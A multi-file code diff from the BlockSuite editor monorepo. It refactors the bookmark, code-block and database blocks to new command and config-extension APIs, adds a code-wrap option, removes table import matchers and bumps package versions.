@@ -31,7 +36,7 @@ export const insertLinkByQuickSearchCommand: Command<
// add normal link;
if ('externalUrl' in result) {
std.command.exec('insertBookmark', { url: result.externalUrl });
std.command.exec(insertBookmarkCommand, { url: result.externalUrl });
return {
flavour: 'affine:bookmark',
};

View File

@@ -2,15 +2,11 @@ import { getEmbedCardIcons } from '@blocksuite/affine-block-embed';
import { WebIcon16 } from '@blocksuite/affine-components/icons';
import { ThemeProvider } from '@blocksuite/affine-shared/services';
import { getHostName } from '@blocksuite/affine-shared/utils';
import {
BlockSelection,
ShadowlessElement,
SurfaceSelection,
} from '@blocksuite/block-std';
import { BlockSelection, ShadowlessElement } from '@blocksuite/block-std';
import { WithDisposable } from '@blocksuite/global/utils';
import { OpenInNewIcon } from '@blocksuite/icons/lit';
import { html } from 'lit';
import { property, state } from 'lit/decorators.js';
import { property } from 'lit/decorators.js';
import { classMap } from 'lit/directives/class-map.js';
import type { BookmarkBlockComponent } from '../bookmark-block.js';
@@ -55,14 +51,6 @@ export class BookmarkCard extends WithDisposable(ShadowlessElement) {
.get(ThemeProvider)
.theme$.subscribe(() => this.requestUpdate())
);
this.disposables.add(
this.bookmark.selection.slots.changed.on(() => {
this._isSelected =
!!this.bookmark.selected?.is(BlockSelection) ||
!!this.bookmark.selected?.is(SurfaceSelection);
})
);
}
override render() {
@@ -72,7 +60,7 @@ export class BookmarkCard extends WithDisposable(ShadowlessElement) {
loading: this.loading,
error: this.error,
[style]: true,
selected: this._isSelected,
selected: this.bookmark.selected$.value,
});
const domainName = url.match(
@@ -148,9 +136,6 @@ export class BookmarkCard extends WithDisposable(ShadowlessElement) {
`;
}
@state()
private accessor _isSelected = false;
@property({ attribute: false })
accessor bookmark!: BookmarkBlockComponent;

View File

@@ -1,4 +0,0 @@
export * from './embed-card-caption-edit-modal';
export * from './embed-card-create-modal';
export * from './embed-card-edit-modal';
export * from './type';

View File

@@ -1,2 +1 @@
export * from './bookmark-card';
export * from './embed-card-modal';

View File

@@ -1,14 +1,6 @@
import { BookmarkBlockComponent } from './bookmark-block';
import { BookmarkEdgelessBlockComponent } from './bookmark-edgeless-block';
import type { BookmarkBlockService } from './bookmark-service';
import type { insertBookmarkCommand } from './commands/insert-bookmark';
import type { insertLinkByQuickSearchCommand } from './commands/insert-link-by-quick-search';
import { BookmarkCard } from './components/bookmark-card';
import {
EmbedCardCreateModal,
EmbedCardEditCaptionEditModal,
EmbedCardEditModal,
} from './components/embed-card-modal';
export function effects() {
customElements.define(
@@ -17,23 +9,4 @@ export function effects() {
);
customElements.define('affine-bookmark', BookmarkBlockComponent);
customElements.define('bookmark-card', BookmarkCard);
customElements.define('embed-card-create-modal', EmbedCardCreateModal);
customElements.define('embed-card-edit-modal', EmbedCardEditModal);
customElements.define(
'embed-card-caption-edit-modal',
EmbedCardEditCaptionEditModal
);
}
declare global {
namespace BlockSuite {
interface Commands {
insertBookmark: typeof insertBookmarkCommand;
insertLinkByQuickSearch: typeof insertLinkByQuickSearchCommand;
}
interface BlockServices {
'affine:bookmark': BookmarkBlockService;
}
}
}

View File

@@ -1,5 +1,5 @@
export * from './adapters';
export * from './bookmark-block';
export * from './bookmark-service';
export * from './bookmark-spec';
export * from './commands';
export * from './components';

View File

@@ -1,19 +1,20 @@
import {
EMBED_CARD_HEIGHT,
EMBED_CARD_WIDTH,
} from '@blocksuite/affine-shared/consts';
import { unsafeCSSVar } from '@blocksuite/affine-shared/theme';
import { baseTheme } from '@toeverything/theme';
import { css, unsafeCSS } from 'lit';
export const styles = css`
bookmark-card {
display: block;
height: 100%;
width: 100%;
}
.affine-bookmark-card {
container: affine-bookmark-card / inline-size;
margin: 0 auto;
box-sizing: border-box;
display: flex;
width: 100%;
height: ${EMBED_CARD_HEIGHT.horizontal}px;
border-radius: 8px;
border: 1px solid var(--affine-background-tertiary-color);
@@ -187,8 +188,6 @@ export const styles = css`
}
.affine-bookmark-card.list {
height: ${EMBED_CARD_HEIGHT.list}px;
.affine-bookmark-content {
width: 100%;
flex-direction: row;
@@ -215,9 +214,8 @@ export const styles = css`
}
.affine-bookmark-card.vertical {
width: ${EMBED_CARD_WIDTH.vertical}px;
height: ${EMBED_CARD_HEIGHT.vertical}px;
flex-direction: column-reverse;
height: 100%;
.affine-bookmark-content {
width: 100%;
@@ -248,9 +246,6 @@ export const styles = css`
}
.affine-bookmark-card.cube {
width: ${EMBED_CARD_WIDTH.cube}px;
height: ${EMBED_CARD_HEIGHT.cube}px;
.affine-bookmark-content {
width: 100%;
flex-direction: column;

View File

@@ -1,5 +1,5 @@
import { LinkPreviewerService } from '@blocksuite/affine-shared/services';
import { isAbortError } from '@blocksuite/affine-shared/utils';
import { assertExists } from '@blocksuite/global/utils';
import type { BookmarkBlockComponent } from './bookmark-block.js';
@@ -15,10 +15,8 @@ export async function refreshBookmarkUrlData(
try {
bookmarkElement.loading = true;
const queryUrlData = bookmarkElement.service?.queryUrlData;
assertExists(queryUrlData);
const bookmarkUrlData = await queryUrlData(
const linkPreviewer = bookmarkElement.doc.get(LinkPreviewerService);
const bookmarkUrlData = await linkPreviewer.query(
bookmarkElement.model.url,
signal
);

View File

@@ -8,7 +8,6 @@
"include": ["./src"],
"references": [
{ "path": "../block-embed" },
{ "path": "../block-surface" },
{ "path": "../components" },
{ "path": "../model" },
{ "path": "../shared" },

View File

@@ -18,16 +18,17 @@
"@blocksuite/affine-shared": "workspace:*",
"@blocksuite/block-std": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.3",
"@blocksuite/inline": "workspace:*",
"@blocksuite/store": "workspace:*",
"@floating-ui/dom": "^1.6.10",
"@floating-ui/dom": "^1.6.13",
"@lit/context": "^1.1.2",
"@preact/signals-core": "^1.8.0",
"@toeverything/theme": "^1.1.3",
"@toeverything/theme": "^1.1.12",
"@types/mdast": "^4.0.4",
"lit": "^3.2.0",
"minimatch": "^10.0.1",
"shiki": "^1.14.1",
"shiki": "^2.0.0",
"zod": "^3.23.8"
},
"exports": {
@@ -40,5 +41,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.19.0"
"version": "0.20.0"
}

View File

@@ -2,6 +2,7 @@ import { CodeBlockSchema } from '@blocksuite/affine-model';
import {
BlockHtmlAdapterExtension,
type BlockHtmlAdapterMatcher,
CODE_BLOCK_WRAP_KEY,
HastUtils,
} from '@blocksuite/affine-shared/adapters';
import type { DeltaInsert } from '@blocksuite/inline';
@@ -37,7 +38,8 @@ export const codeBlockHtmlAdapterMatcher: BlockHtmlAdapterMatcher = {
? codeLang.replace('code-', '')
: undefined;
const { walkerContext, deltaConverter } = context;
const { walkerContext, deltaConverter, configs } = context;
const wrap = configs.get(CODE_BLOCK_WRAP_KEY) === 'true';
walkerContext
.openNode(
{
@@ -46,6 +48,7 @@ export const codeBlockHtmlAdapterMatcher: BlockHtmlAdapterMatcher = {
flavour: 'affine:code',
props: {
language: codeLang ?? 'Plain Text',
wrap,
text: {
'$blocksuite:internal:text$': true,
delta: deltaConverter.astToDelta(codeText, {

View File

@@ -2,6 +2,7 @@ import { CodeBlockSchema } from '@blocksuite/affine-model';
import {
BlockMarkdownAdapterExtension,
type BlockMarkdownAdapterMatcher,
CODE_BLOCK_WRAP_KEY,
type MarkdownAST,
} from '@blocksuite/affine-shared/adapters';
import type { DeltaInsert } from '@blocksuite/inline';
@@ -19,7 +20,8 @@ export const codeBlockMarkdownAdapterMatcher: BlockMarkdownAdapterMatcher = {
if (!isCodeNode(o.node)) {
return;
}
const { walkerContext } = context;
const { walkerContext, configs } = context;
const wrap = configs.get(CODE_BLOCK_WRAP_KEY) === 'true';
walkerContext
.openNode(
{
@@ -28,6 +30,7 @@ export const codeBlockMarkdownAdapterMatcher: BlockMarkdownAdapterMatcher = {
flavour: 'affine:code',
props: {
language: o.node.lang ?? 'Plain Text',
wrap,
text: {
'$blocksuite:internal:text$': true,
delta: [

View File

@@ -2,6 +2,7 @@ import { CodeBlockSchema } from '@blocksuite/affine-model';
import {
BlockNotionHtmlAdapterExtension,
type BlockNotionHtmlAdapterMatcher,
CODE_BLOCK_WRAP_KEY,
HastUtils,
} from '@blocksuite/affine-shared/adapters';
import { nanoid } from '@blocksuite/store';
@@ -20,7 +21,8 @@ export const codeBlockNotionHtmlAdapterMatcher: BlockNotionHtmlAdapterMatcher =
if (!code) {
return;
}
const { walkerContext, deltaConverter } = context;
const { walkerContext, deltaConverter, configs } = context;
const wrap = configs.get(CODE_BLOCK_WRAP_KEY) === 'true';
const codeText =
code.children.length === 1 && code.children[0].type === 'text'
? code.children[0]
@@ -33,6 +35,7 @@ export const codeBlockNotionHtmlAdapterMatcher: BlockNotionHtmlAdapterMatcher =
flavour: CodeBlockSchema.model.flavour,
props: {
language: 'Plain Text',
wrap,
text: {
'$blocksuite:internal:text$': true,
delta: deltaConverter.astToDelta(codeText, {

View File

@@ -1,8 +1,14 @@
import { deleteTextCommand } from '@blocksuite/affine-components/rich-text';
import {
HtmlAdapter,
pasteMiddleware,
PlainTextAdapter,
} from '@blocksuite/affine-shared/adapters';
import {
getBlockIndexCommand,
getBlockSelectionsCommand,
getTextSelectionCommand,
} from '@blocksuite/affine-shared/commands';
import {
type BlockComponent,
Clipboard,
@@ -40,13 +46,13 @@ export class CodeClipboardController {
this._std.command
.chain()
.try(cmd => [
cmd.getTextSelection().inline<'currentSelectionPath'>((ctx, next) => {
cmd.pipe(getTextSelectionCommand).pipe((ctx, next) => {
const textSelection = ctx.currentTextSelection;
if (!textSelection) return;
const end = textSelection.to ?? textSelection.from;
next({ currentSelectionPath: end.blockId });
}),
cmd.getBlockSelections().inline<'currentSelectionPath'>((ctx, next) => {
cmd.pipe(getBlockSelectionsCommand).pipe((ctx, next) => {
const currentBlockSelections = ctx.currentBlockSelections;
if (!currentBlockSelections) return;
const blockSelection = currentBlockSelections.at(-1);
@@ -54,9 +60,9 @@ export class CodeClipboardController {
next({ currentSelectionPath: blockSelection.blockId });
}),
])
.getBlockIndex()
.try(cmd => [cmd.getTextSelection().deleteText()])
.inline((ctx, next) => {
.pipe(getBlockIndexCommand)
.try(cmd => [cmd.pipe(getTextSelectionCommand).pipe(deleteTextCommand)])
.pipe((ctx, next) => {
if (!ctx.parentBlock) {
return;
}

View File

@@ -1,3 +1,4 @@
import { ConfigExtensionFactory } from '@blocksuite/block-std';
import type { BundledLanguageInfo, ThemeInput } from 'shiki';
export interface CodeBlockConfig {
@@ -13,3 +14,6 @@ export interface CodeBlockConfig {
*/
showLineNumbers?: boolean;
}
export const CodeBlockConfigExtension =
ConfigExtensionFactory<CodeBlockConfig>('affine:code');

View File

@@ -6,11 +6,13 @@ import { type Signal, signal } from '@preact/signals-core';
import {
bundledLanguagesInfo,
createHighlighterCore,
createOnigurumaEngine,
type HighlighterCore,
type MaybeGetter,
} from 'shiki';
import getWasm from 'shiki/wasm';
import { CodeBlockConfigExtension } from './code-block-config.js';
import {
CODE_BLOCK_DEFAULT_DARK_THEME,
CODE_BLOCK_DEFAULT_LIGHT_THEME,
@@ -26,7 +28,10 @@ export class CodeBlockService extends BlockService {
highlighter$: Signal<HighlighterCore | null> = signal(null);
get langs() {
return this.std.getConfig('affine:code')?.langs ?? bundledLanguagesInfo;
return (
this.std.getOptional(CodeBlockConfigExtension.identifier)?.langs ??
bundledLanguagesInfo
);
}
get themeKey() {
@@ -42,10 +47,12 @@ export class CodeBlockService extends BlockService {
this.bindHotKey(textKeymap(this.std));
createHighlighterCore({
loadWasm: getWasm,
engine: createOnigurumaEngine(() => getWasm),
})
.then(async highlighter => {
const config = this.std.getConfig('affine:code');
const config = this.std.getOptional(
CodeBlockConfigExtension.identifier
);
const darkTheme = config?.theme?.dark ?? CODE_BLOCK_DEFAULT_DARK_THEME;
const lightTheme =
config?.theme?.light ?? CODE_BLOCK_DEFAULT_LIGHT_THEME;

View File

@@ -1,7 +1,7 @@
import {
BlockViewExtension,
FlavourExtension,
WidgetViewMapExtension,
WidgetViewExtension,
} from '@blocksuite/block-std';
import type { ExtensionType } from '@blocksuite/store';
import { literal, unsafeStatic } from 'lit/static-html.js';
@@ -14,13 +14,17 @@ import {
import { CodeBlockService } from './code-block-service.js';
import { AFFINE_CODE_TOOLBAR_WIDGET } from './code-toolbar/index.js';
export const codeToolbarWidget = WidgetViewExtension(
'affine:code',
AFFINE_CODE_TOOLBAR_WIDGET,
literal`${unsafeStatic(AFFINE_CODE_TOOLBAR_WIDGET)}`
);
export const CodeBlockSpec: ExtensionType[] = [
FlavourExtension('affine:code'),
CodeBlockService,
BlockViewExtension('affine:code', literal`affine-code`),
WidgetViewMapExtension('affine:code', {
codeToolbar: literal`${unsafeStatic(AFFINE_CODE_TOOLBAR_WIDGET)}`,
}),
codeToolbarWidget,
CodeBlockInlineManagerExtension,
CodeBlockUnitSpecExtension,
CodeBlockAdapterExtensions,

View File

@@ -32,6 +32,7 @@ import { classMap } from 'lit/directives/class-map.js';
import type { ThemedToken } from 'shiki';
import { CodeClipboardController } from './clipboard/index.js';
import { CodeBlockConfigExtension } from './code-block-config.js';
import { CodeBlockInlineManagerExtension } from './code-block-inline.js';
import type { CodeBlockService } from './code-block-service.js';
import { codeBlockStyles } from './styles.js';
@@ -383,7 +384,8 @@ export class CodeBlockComponent extends CaptionedBlockComponent<
override renderBlock(): TemplateResult<1> {
const showLineNumbers =
this.std.getConfig('affine:code')?.showLineNumbers ?? true;
this.std.getOptional(CodeBlockConfigExtension.identifier)
?.showLineNumbers ?? true;
return html`
<div

View File

@@ -1,4 +1,3 @@
import { MoreVerticalIcon } from '@blocksuite/affine-components/icons';
import { createLitPortal } from '@blocksuite/affine-components/portal';
import type {
EditorIconButton,
@@ -6,6 +5,7 @@ import type {
} from '@blocksuite/affine-components/toolbar';
import { renderGroups } from '@blocksuite/affine-components/toolbar';
import { noop, WithDisposable } from '@blocksuite/global/utils';
import { MoreVerticalIcon } from '@blocksuite/icons/lit';
import { flip, offset } from '@floating-ui/dom';
import { css, html, LitElement } from 'lit';
import { property, query, state } from 'lit/decorators.js';
@@ -132,7 +132,7 @@ export class AffineCodeToolbar extends WithDisposable(LitElement) {
?disabled=${this.context.doc.readonly}
@click=${() => this._toggleMoreMenu()}
>
${MoreVerticalIcon}
${MoreVerticalIcon()}
</editor-icon-button>
</editor-toolbar>
`;

View File

@@ -1,7 +1,4 @@
import type * as CommandsType from '@blocksuite/affine-shared/commands';
import { CodeBlockComponent } from './code-block';
import type { CodeBlockConfig } from './code-block-config';
import {
AFFINE_CODE_TOOLBAR_WIDGET,
AffineCodeToolbarWidget,
@@ -18,15 +15,7 @@ export function effects() {
customElements.define('affine-code', CodeBlockComponent);
}
declare type _GLOBAL_ = typeof CommandsType;
declare global {
namespace BlockSuite {
interface BlockConfigs {
'affine:code': CodeBlockConfig;
}
}
interface HTMLElementTagNameMap {
'language-list-button': LanguageListButton;
'affine-code-toolbar': AffineCodeToolbar;

View File

@@ -20,12 +20,13 @@
"@blocksuite/block-std": "workspace:*",
"@blocksuite/data-view": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.3",
"@blocksuite/inline": "workspace:*",
"@blocksuite/store": "workspace:*",
"@floating-ui/dom": "^1.6.10",
"@floating-ui/dom": "^1.6.13",
"@lit/context": "^1.1.2",
"@preact/signals-core": "^1.8.0",
"@toeverything/theme": "^1.1.3",
"@toeverything/theme": "^1.1.12",
"@types/mdast": "^4.0.4",
"lit": "^3.2.0",
"minimatch": "^10.0.1",
@@ -41,5 +42,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.19.0"
"version": "0.20.0"
}

View File

@@ -211,7 +211,7 @@ export class BlockQueryDataSource extends DataSourceBase {
}
}
propertyDuplicate(_columnId: string): string {
propertyDuplicate(_columnId: string): string | undefined {
throw new Error('Method not implemented.');
}

View File

@@ -1,15 +1,15 @@
import { BlockRenderer, NoteRenderer } from '@blocksuite/affine-block-database';
import {
BlockRenderer,
DatabaseSelection,
NoteRenderer,
} from '@blocksuite/affine-block-database';
import { CaptionedBlockComponent } from '@blocksuite/affine-components/caption';
import {
menu,
popMenu,
popupTargetFromElement,
} from '@blocksuite/affine-components/context-menu';
import {
CopyIcon,
DeleteIcon,
MoreHorizontalIcon,
} from '@blocksuite/affine-components/icons';
import { CopyIcon, DeleteIcon } from '@blocksuite/affine-components/icons';
import { PeekViewProvider } from '@blocksuite/affine-components/peek';
import { toast } from '@blocksuite/affine-components/toast';
import { NOTE_SELECTOR } from '@blocksuite/affine-shared/consts';
@@ -26,7 +26,6 @@ import {
import {
createRecordDetail,
createUniComponentFromWebComponent,
DatabaseSelection,
type DataSource,
DataView,
dataViewCommonStyle,
@@ -39,6 +38,7 @@ import {
uniMap,
} from '@blocksuite/data-view';
import { widgetPresets } from '@blocksuite/data-view/widget-presets';
import { MoreHorizontalIcon } from '@blocksuite/icons/lit';
import { Slice } from '@blocksuite/store';
import { computed, signal } from '@preact/signals-core';
import { css, nothing, unsafeCSS } from 'lit';
@@ -241,7 +241,7 @@ export class DataViewBlockComponent extends CaptionedBlockComponent<DataViewBloc
return nothing;
}
return html` <div class="database-ops" @click="${this._clickDatabaseOps}">
${MoreHorizontalIcon}
${MoreHorizontalIcon()}
</div>`;
}

View File

@@ -1,14 +1,5 @@
import { DataViewBlockComponent } from './data-view-block';
import type { DataViewBlockModel } from './data-view-model';
export function effects() {
customElements.define('affine-data-view', DataViewBlockComponent);
}
declare global {
namespace BlockSuite {
interface BlockModels {
'affine:data-view': DataViewBlockModel;
}
}
}

View File

@@ -23,10 +23,10 @@
"@blocksuite/icons": "^2.2.1",
"@blocksuite/inline": "workspace:*",
"@blocksuite/store": "workspace:*",
"@floating-ui/dom": "^1.6.10",
"@floating-ui/dom": "^1.6.13",
"@lit/context": "^1.1.2",
"@preact/signals-core": "^1.8.0",
"@toeverything/theme": "^1.1.3",
"@toeverything/theme": "^1.1.12",
"@types/mdast": "^4.0.4",
"date-fns": "^4.0.0",
"lit": "^3.2.0",
@@ -44,5 +44,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.19.0"
"version": "0.20.0"
}

View File

@@ -6,162 +6,17 @@ import {
import {
BlockHtmlAdapterExtension,
type BlockHtmlAdapterMatcher,
HastUtils,
type InlineHtmlAST,
TextUtils,
} from '@blocksuite/affine-shared/adapters';
import { nanoid } from '@blocksuite/store';
import type { Element } from 'hast';
import { processTable } from './utils';
const DATABASE_NODE_TYPES = new Set(['table', 'thead', 'tbody', 'th', 'tr']);
export const databaseBlockHtmlAdapterMatcher: BlockHtmlAdapterMatcher = {
flavour: DatabaseBlockSchema.model.flavour,
toMatch: o =>
HastUtils.isElement(o.node) && DATABASE_NODE_TYPES.has(o.node.tagName),
toMatch: () => false,
fromMatch: o => o.node.flavour === DatabaseBlockSchema.model.flavour,
toBlockSnapshot: {
enter: (o, context) => {
if (!HastUtils.isElement(o.node)) {
return;
}
const { walkerContext } = context;
if (o.node.tagName === 'table') {
const tableHeader = HastUtils.querySelector(o.node, 'thead');
if (!tableHeader) {
return;
}
const tableHeaderRow = HastUtils.querySelector(tableHeader, 'tr');
if (!tableHeaderRow) {
return;
}
// Table header row as database header row
const viewsColumns = tableHeaderRow.children.map(() => {
return {
id: nanoid(),
hide: false,
width: 180,
};
});
// Build database cells from table body rows
const cells = Object.create(null);
const tableBody = HastUtils.querySelector(o.node, 'tbody');
tableBody?.children.forEach(row => {
const rowId = nanoid();
cells[rowId] = Object.create(null);
(row as Element).children.forEach((cell, index) => {
const column = viewsColumns[index];
if (!column) {
return;
}
cells[rowId][column.id] = {
columnId: column.id,
value: TextUtils.createText(
(cell as Element).children
.map(child => ('value' in child ? child.value : ''))
.join('')
),
};
});
});
// Build database columns from table header row
const columns = tableHeaderRow.children.flatMap((_child, index) => {
const column = viewsColumns[index];
if (!column) {
return [];
}
return {
type: index === 0 ? 'title' : 'rich-text',
name: (_child as Element).children
.map(child => ('value' in child ? child.value : ''))
.join(''),
data: {},
id: column.id,
};
});
walkerContext.openNode(
{
type: 'block',
id: nanoid(),
flavour: 'affine:database',
props: {
views: [
{
id: nanoid(),
name: 'Table View',
mode: 'table',
columns: [],
filter: {
type: 'group',
op: 'and',
conditions: [],
},
header: {
titleColumn: viewsColumns[0]?.id,
iconColumn: 'type',
},
},
],
title: {
'$blocksuite:internal:text$': true,
delta: [],
},
cells,
columns,
},
children: [],
},
'children'
);
walkerContext.setNodeContext('affine:table:rowid', Object.keys(cells));
walkerContext.skipChildren(1);
}
// The first child of each table body row is the database title cell
if (o.node.tagName === 'tr') {
const { deltaConverter } = context;
const firstChild = o.node.children[0];
if (!firstChild) {
return;
}
walkerContext
.openNode({
type: 'block',
id:
(
walkerContext.getNodeContext(
'affine:table:rowid'
) as Array<string>
).shift() ?? nanoid(),
flavour: 'affine:paragraph',
props: {
text: {
'$blocksuite:internal:text$': true,
delta: deltaConverter.astToDelta(firstChild),
},
type: 'text',
},
children: [],
})
.closeNode();
walkerContext.skipAllChildren();
}
},
leave: (o, context) => {
if (!HastUtils.isElement(o.node)) {
return;
}
const { walkerContext } = context;
if (o.node.tagName === 'table') {
walkerContext.closeNode();
}
},
},
toBlockSnapshot: {},
fromBlockSnapshot: {
enter: (o, context) => {
const { walkerContext } = context;

View File

@@ -7,9 +7,7 @@ import {
BlockMarkdownAdapterExtension,
type BlockMarkdownAdapterMatcher,
type MarkdownAST,
TextUtils,
} from '@blocksuite/affine-shared/adapters';
import { nanoid } from '@blocksuite/store';
import type { TableRow } from 'mdast';
import { processTable } from './utils';
@@ -24,123 +22,7 @@ export const databaseBlockMarkdownAdapterMatcher: BlockMarkdownAdapterMatcher =
flavour: DatabaseBlockSchema.model.flavour,
toMatch: o => isDatabaseNode(o.node),
fromMatch: o => o.node.flavour === DatabaseBlockSchema.model.flavour,
toBlockSnapshot: {
enter: (o, context) => {
const { walkerContext } = context;
if (o.node.type === 'table') {
const viewsColumns = o.node.children[0]?.children.map(() => {
return {
id: nanoid(),
hide: false,
width: 180,
};
});
const cells = Object.create(null);
o.node.children.slice(1).forEach(row => {
const rowId = nanoid();
cells[rowId] = Object.create(null);
row.children.slice(1).forEach((cell, index) => {
const column = viewsColumns?.[index + 1];
if (!column) {
return;
}
cells[rowId][column.id] = {
columnId: column.id,
value: TextUtils.createText(
cell.children
.map(child => ('value' in child ? child.value : ''))
.join('')
),
};
});
});
const columns = o.node.children[0]?.children.map((_child, index) => {
return {
type: index === 0 ? 'title' : 'rich-text',
name: _child.children
.map(child => ('value' in child ? child.value : ''))
.join(''),
data: {},
id: viewsColumns?.[index]?.id,
};
});
walkerContext.openNode(
{
type: 'block',
id: nanoid(),
flavour: 'affine:database',
props: {
views: [
{
id: nanoid(),
name: 'Table View',
mode: 'table',
columns: [],
filter: {
type: 'group',
op: 'and',
conditions: [],
},
header: {
titleColumn: viewsColumns?.[0]?.id,
iconColumn: 'type',
},
},
],
title: {
'$blocksuite:internal:text$': true,
delta: [],
},
cells,
columns,
},
children: [],
},
'children'
);
walkerContext.setNodeContext(
'affine:table:rowid',
Object.keys(cells)
);
walkerContext.skipChildren(1);
}
if (o.node.type === 'tableRow') {
const { deltaConverter } = context;
const firstChild = o.node.children[0];
if (!firstChild) {
return;
}
walkerContext
.openNode({
type: 'block',
id:
(
walkerContext.getNodeContext(
'affine:table:rowid'
) as Array<string>
).shift() ?? nanoid(),
flavour: 'affine:paragraph',
props: {
text: {
'$blocksuite:internal:text$': true,
delta: deltaConverter.astToDelta(firstChild),
},
type: 'text',
},
children: [],
})
.closeNode();
walkerContext.skipAllChildren();
}
},
leave: (o, context) => {
const { walkerContext } = context;
if (o.node.type === 'table') {
walkerContext.closeNode();
}
},
},
toBlockSnapshot: {},
fromBlockSnapshot: {
enter: (o, context) => {
const { walkerContext, deltaConverter } = context;

View File

@@ -1,9 +1,9 @@
import { DatabaseBlockSchema } from '@blocksuite/affine-model';
import {
AdapterTextUtils,
BlockNotionHtmlAdapterExtension,
type BlockNotionHtmlAdapterMatcher,
HastUtils,
TextUtils,
} from '@blocksuite/affine-shared/adapters';
import { getTagColor } from '@blocksuite/data-view';
import { type BlockSnapshot, nanoid } from '@blocksuite/store';
@@ -219,7 +219,7 @@ export const databaseBlockNotionHtmlAdapterMatcher: BlockNotionHtmlAdapterMatche
column.type = 'rich-text';
row[column.id] = {
columnId: column.id,
value: TextUtils.createText(text),
value: AdapterTextUtils.createText(text),
};
} else {
row[column.id] = {
@@ -235,11 +235,11 @@ export const databaseBlockNotionHtmlAdapterMatcher: BlockNotionHtmlAdapterMatche
}
if (
column.type === 'rich-text' &&
!TextUtils.isText(row[column.id].value)
!AdapterTextUtils.isText(row[column.id].value)
) {
row[column.id] = {
columnId: column.id,
value: TextUtils.createText(row[column.id].value),
value: AdapterTextUtils.createText(row[column.id].value),
};
}
});

View File

@@ -1,12 +1,21 @@
import type { BlockCommands, Command } from '@blocksuite/block-std';
import type { DatabaseBlockModel } from '@blocksuite/affine-model';
import type { Command } from '@blocksuite/block-std';
import type { BlockModel, Store } from '@blocksuite/store';
import {
DatabaseBlockDataSource,
databaseViewInitTemplate,
} from './data-source';
export const insertDatabaseBlockCommand: Command<
'selectedModels',
'insertedDatabaseBlockId',
{
selectedModels?: BlockModel[];
viewType: string;
place?: 'after' | 'before';
removeEmptyLine?: boolean;
},
{
insertedDatabaseBlockId: string;
}
> = (ctx, next) => {
const { selectedModels, viewType, place, removeEmptyLine, std } = ctx;
@@ -17,8 +26,7 @@ export const insertDatabaseBlockCommand: Command<
? selectedModels[0]
: selectedModels[selectedModels.length - 1];
const service = std.getService('affine:database');
if (!service || !targetModel) return;
if (!targetModel) return;
const result = std.store.addSiblingBlocks(
targetModel,
@@ -29,7 +37,7 @@ export const insertDatabaseBlockCommand: Command<
if (string == null) return;
service.initDatabaseBlock(std.store, targetModel, string, viewType, false);
initDatabaseBlock(std.store, targetModel, string, viewType, false);
if (removeEmptyLine && targetModel.text?.length === 0) {
std.store.deleteBlock(targetModel);
@@ -38,6 +46,24 @@ export const insertDatabaseBlockCommand: Command<
next({ insertedDatabaseBlockId: string });
};
export const commands: BlockCommands = {
insertDatabaseBlock: insertDatabaseBlockCommand,
export const initDatabaseBlock = (
doc: Store,
model: BlockModel,
databaseId: string,
viewType: string,
isAppendNewRow = true
) => {
const blockModel = doc.getBlock(databaseId)?.model as
| DatabaseBlockModel
| undefined;
if (!blockModel) {
return;
}
const datasource = new DatabaseBlockDataSource(blockModel);
databaseViewInitTemplate(datasource, viewType);
if (isAppendNewRow) {
const parent = doc.getParent(model);
if (!parent) return;
doc.addBlock('affine:paragraph', {}, parent.id);
}
};

View File

@@ -1,6 +1,10 @@
import type { MenuOptions } from '@blocksuite/affine-components/context-menu';
import { type DatabaseBlockModel } from '@blocksuite/affine-model';
import { ConfigExtensionFactory } from '@blocksuite/block-std';
export interface DatabaseOptionsConfig {
configure: (model: DatabaseBlockModel, options: MenuOptions) => MenuOptions;
}
export const DatabaseConfigExtension =
ConfigExtensionFactory<DatabaseOptionsConfig>('affine:database');

View File

@@ -1,4 +1,9 @@
import type { DatabaseBlockModel } from '@blocksuite/affine-model';
import type {
Column,
ColumnUpdater,
DatabaseBlockModel,
} from '@blocksuite/affine-model';
import { getSelectedModelsCommand } from '@blocksuite/affine-shared/commands';
import { FeatureFlagService } from '@blocksuite/affine-shared/services';
import {
insertPositionToIndex,
@@ -9,7 +14,6 @@ import {
type DatabaseFlags,
DataSourceBase,
type DataViewDataType,
getTagColor,
type PropertyMetaConfig,
type TypeInstance,
type ViewManager,
@@ -19,8 +23,7 @@ import {
import { propertyPresets } from '@blocksuite/data-view/property-presets';
import { IS_MOBILE } from '@blocksuite/global/env';
import { BlockSuiteError, ErrorCode } from '@blocksuite/global/exceptions';
import { assertExists } from '@blocksuite/global/utils';
import { type BlockModel, nanoid, Text } from '@blocksuite/store';
import { type BlockModel } from '@blocksuite/store';
import { computed, type ReadonlySignal } from '@preact/signals-core';
import { getIcon } from './block-icons.js';
@@ -29,16 +32,12 @@ import {
databaseBlockPropertyList,
databasePropertyConverts,
} from './properties/index.js';
import { titlePropertyModelConfig } from './properties/title/define.js';
import {
addProperty,
applyCellsUpdate,
applyPropertyUpdate,
copyCellsByProperty,
deleteRows,
deleteView,
duplicateView,
findPropertyIndex,
getCell,
getProperty,
moveViewTo,
@@ -69,7 +68,17 @@ export class DatabaseBlockDataSource extends DataSourceBase {
});
properties$: ReadonlySignal<string[]> = computed(() => {
return this._model.columns$.value.map(column => column.id);
const fixedPropertiesSet = new Set(this.fixedProperties$.value);
const properties: string[] = [];
this._model.columns$.value.forEach(column => {
if (fixedPropertiesSet.has(column.type)) {
fixedPropertiesSet.delete(column.type);
}
properties.push(column.id);
});
const result = [...fixedPropertiesSet, ...properties];
return result;
});
readonly$: ReadonlySignal<boolean> = computed(() => {
@@ -98,9 +107,15 @@ export class DatabaseBlockDataSource extends DataSourceBase {
return this._model.doc;
}
get propertyMetas(): PropertyMetaConfig<any, any, any>[] {
allPropertyMetas$ = computed<PropertyMetaConfig<any, any, any>[]>(() => {
return databaseBlockPropertyList;
}
});
propertyMetas$ = computed<PropertyMetaConfig[]>(() => {
return this.allPropertyMetas$.value.filter(
v => !v.config.fixed && !v.config.hide
);
});
constructor(model: DatabaseBlockModel) {
super();
@@ -147,19 +162,11 @@ export class DatabaseBlockDataSource extends DataSourceBase {
newValue: value,
});
}
if (type === 'title' && newValue instanceof Text) {
this._model.doc.transact(() => {
this._model.text?.clear();
this._model.text?.join(newValue);
});
return;
}
if (this._model.columns$.value.some(v => v.id === propertyId)) {
updateCell(this._model, rowId, {
columnId: propertyId,
value: newValue,
});
applyCellsUpdate(this._model);
}
}
